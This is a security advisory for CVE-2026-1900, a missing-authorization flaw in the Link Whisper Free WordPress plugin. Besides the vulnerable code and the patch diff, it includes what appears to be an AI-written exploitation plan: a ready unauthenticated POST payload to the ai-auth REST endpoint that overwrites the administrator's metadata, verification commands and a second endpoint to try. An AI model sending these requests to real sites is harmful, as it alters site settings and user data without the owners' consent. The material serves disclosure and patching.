Link Whisper Free < 0.9.1 - Missing Authorization to Unauthenticated Settings Change
Description
The Link Whisper Free plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to 0.9.1 (exclusive). This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v0.9.1
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1900 - Link Whisper Free Missing Authorization ## 1. Vulnerability Summary The **Link Whisper Free** plugin for WordPress is vulnerable to an unauthenticated settings change and user meta modification due to missing authorization checks in its REST API impleme…
Show full research plan
Exploitation Research Plan: CVE-2026-1900 - Link Whisper Free Missing Authorization
1. Vulnerability Summary
The Link Whisper Free plugin for WordPress is vulnerable to an unauthenticated settings change and user meta modification due to missing authorization checks in its REST API implementation.
Specifically, the Wpil_Rest class registers several REST API endpoints with the permission_callback set to __return_true. While one endpoint (site_interlinking_handler) immediately calls die(), the ai_auth_handler and handler_rest functions process user-supplied input and update global WordPress options and user metadata without verifying the requester's identity or capabilities.
The most critical sink is in Wpil_Rest::ai_auth_handler, which allows an unauthenticated attacker to:
- Overwrite the plugin's AI access token and associated user IDs/emails.
- Modify the
wpil_ai_access_user_idandwpil_ai_access_user_emailmetadata for any arbitrary user ID on the system. - Force the plugin into an "authorized" state for AI features.
2. Attack Vector Analysis
- Endpoint:
/wp-json/link-whisper/ai-auth(defined byWpil_Rest::REST_SLUGandWpil_Rest::AI_AUTH) - Method:
POST - Capability Required: None (unauthenticated)
- Nonce Required: None
- Payload Parameters:
access_token: String (must contain the substringai-)user_id: String (attacker-controlled value)uid: Integer (target user ID to modify metadata for)uemail: String (attacker-controlled email)
3. Code Flow
- Entry Point: During
rest_api_init,Wpil_Rest::register_rest()is called. - Route Registration: The route
link-whisper/ai-authis registered with'permission_callback' => "__return_true". - Callback Execution: When a POST request is made to this route,
Wpil_Rest::ai_auth_handler()is invoked. - Logic Branch: The function checks if the
access_tokenparameter is present and contains the stringai-(viafalse !== strpos($token, 'ai-')). - Sinks:
update_option('wpil_ai_access_token', ...)update_option('wpil_ai_access_user_id', $user_id)update_option('wpil_ai_access_user_email', $uemail)update_user_meta($uid, 'wpil_ai_access_user_id', $user_id)update_user_meta($uid, 'wpil_ai_access_user_email', $uemail)update_option('wpil_ai_access_authorized', true)
4. Nonce Acquisition Strategy
This vulnerability does not require a nonce. The register_rest_route call specifically uses permission_callback => "__return_true", and the callback function ai_auth_handler does not perform any wp_verify_nonce or check_ajax_referer checks.
5. Exploitation Strategy
Step-by-Step Plan
- Target Selection: Identify a target user ID (usually
1for the primary administrator). - Craft Payload: Create a POST request that satisfies the
strpos($token, 'ai-')check and provides target values. - Execute Request: Submit the request to the REST API.
- Verification: Check if the options and user meta have been updated.
HTTP Request (using http_request tool)
{
"method": "POST",
"url": "http://vulnerable-wp.local/wp-json/link-whisper/ai-auth",
"headers": {
"Content-Type": "application/x-www-form-urlencoded"
},
"body": "access_token=ai-pwned-token&user_id=attacker_id_123&uid=1&uemail=hacker@evil.com"
}
6. Test Data Setup
- Install Link Whisper Free version
0.9.0. - Ensure there is a user with ID
1(standard WP setup). - No specific plugin configuration is required as the vulnerability exists in the default registered routes.
7. Expected Results
- Response Code:
200 OK - Response Body:
"ok" - Side Effects:
- Option
wpil_ai_access_tokenwill contain the encrypted version ofai-pwned-token. - Option
wpil_ai_access_user_idwill beattacker_id_123. - Option
wpil_ai_access_user_emailwill behacker@evil.com. - User meta
wpil_ai_access_user_idfor User 1 will beattacker_id_123. - User meta
wpil_ai_access_user_emailfor User 1 will behacker@evil.com. - Option
wpil_ai_access_authorizedwill be1(true).
- Option
8. Verification Steps
Use WP-CLI to verify the changes in the database:
# Check global options
wp option get wpil_ai_access_user_id
wp option get wpil_ai_access_user_email
wp option get wpil_ai_access_authorized
# Check user meta for the target user (UID 1)
wp usermeta get 1 wpil_ai_access_user_id
wp usermeta get 1 wpil_ai_access_user_email
9. Alternative Approaches
Exploiting handler_rest (Google Search Console)
The link-whisper/code endpoint is also unauthenticated.
- Endpoint:
/wp-json/link-whisper/code - Method:
POST - Parameter:
code=SOME_CODE - Impact: It calls
Wpil_SearchConsole::get_access_token(trim($code)). If the code is accepted by the Search Console helper, it sets thewpil_gsc_app_authorizedoption totrue. This is less direct than the AI auth exploit but still represents an unauthorized state change.
Data Injection via uemail
Since uemail is passed directly to update_option and update_user_meta without rigorous sanitization (other than WordPress's internal update_option sanitization), it can be used to inject arbitrary string data into the database that might be reflected in the admin dashboard (e.g., in the Settings templates like templates/wpil_settings_v2.php).
Summary
The Link Whisper Free plugin for WordPress is vulnerable to unauthorized settings modification and metadata injection due to missing capability checks on its REST API endpoints. Unauthenticated attackers can exploit the '/wp-json/link-whisper/ai-auth' route to overwrite the plugin's AI access configuration and modify the metadata of any user account, including administrators.
Vulnerable Code
// core/Wpil/Rest.php lines 66-74 register_rest_route(self::REST_SLUG, self::AI_AUTH, [ 'methods' => 'POST', 'callback' => [ $this, 'ai_auth_handler' ], 'permission_callback' => "__return_true", 'show_in_index' => false ]); --- // core/Wpil/Rest.php lines 131-155 public function ai_auth_handler( WP_REST_Request $request ) { if(!empty($request->get_param('access_token'))){ $token = $request->get_param('access_token'); $user_id = $request->get_param('user_id'); $uid = (int)$request->get_param('uid'); $uemail = $request->get_param('uemail'); if(!empty($token) && false !== strpos($token, 'ai-')){ // save the token to the options update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token)); // and the user id update_option('wpil_ai_access_user_id', $user_id); // and the user email update_option('wpil_ai_access_user_email', $uemail); // tag the user with the id update_user_meta($uid, 'wpil_ai_access_user_id', $user_id); update_user_meta($uid, 'wpil_ai_access_user_email', $uemail); // and update the flag so we know it's live update_option('wpil_ai_access_authorized', true); } return 'ok'; }
Security Fix
@@ -77,7 +77,7 @@ if ( !empty($response['access_valid']) ) { // and update the flag so we know it's live - update_option('wpil_gsc_app_authorized', true); + update_option('wpil_gsc_app_authorized', true, false); } return 'ok'; @@ -116,16 +116,20 @@ $uid = (int)$request->get_param('uid'); $uemail = $request->get_param('uemail'); - if(!empty($token) && false !== strpos($token, 'ai-')){ + if( !empty($token) && + false !== strpos($token, 'ai-') && // if the code isn't corrupted + (bool) preg_match('/\\Aai-[0-9a-f]{64}\\z/i', $token) && // is a valid token + (bool) preg_match('/\\A[0-9a-f]{32}\\z/i', $user_id)) // has a valid id + { // save the token to the options update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token)); // and the user id update_option('wpil_ai_access_user_id', $user_id); // and the user email - update_option('wpil_ai_access_user_email', $uemail); + update_option('wpil_ai_access_user_email', sanitize_email($uemail)); // tag the user with the id - update_user_meta($uid, 'wpil_ai_access_user_id', $user_id); - update_user_meta($uid, 'wpil_ai_access_user_email', $uemail); +// update_user_meta($uid, 'wpil_ai_access_user_id', $user_id); +// update_user_meta($uid, 'wpil_ai_access_user_email', $uemail); // and update the flag so we know it's live update_option('wpil_ai_access_authorized', true); }
Exploit Outline
The exploit targets the `/wp-json/link-whisper/ai-auth` REST API route, which is registered with an unauthenticated `permission_callback` returning `true`. An attacker sends a POST request to this endpoint with a payload containing four parameters: `access_token` (which must start with 'ai-'), `user_id`, `uemail`, and `uid`. No WordPress nonces or login credentials are required. The server-side logic in `ai_auth_handler` directly uses these inputs to call `update_option()` and `update_user_meta()`. This allows the attacker to arbitrarily modify global AI credentials and overwrite user metadata (specifically `wpil_ai_access_user_id` and `wpil_ai_access_user_email`) for any target user ID provided in the `uid` parameter.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.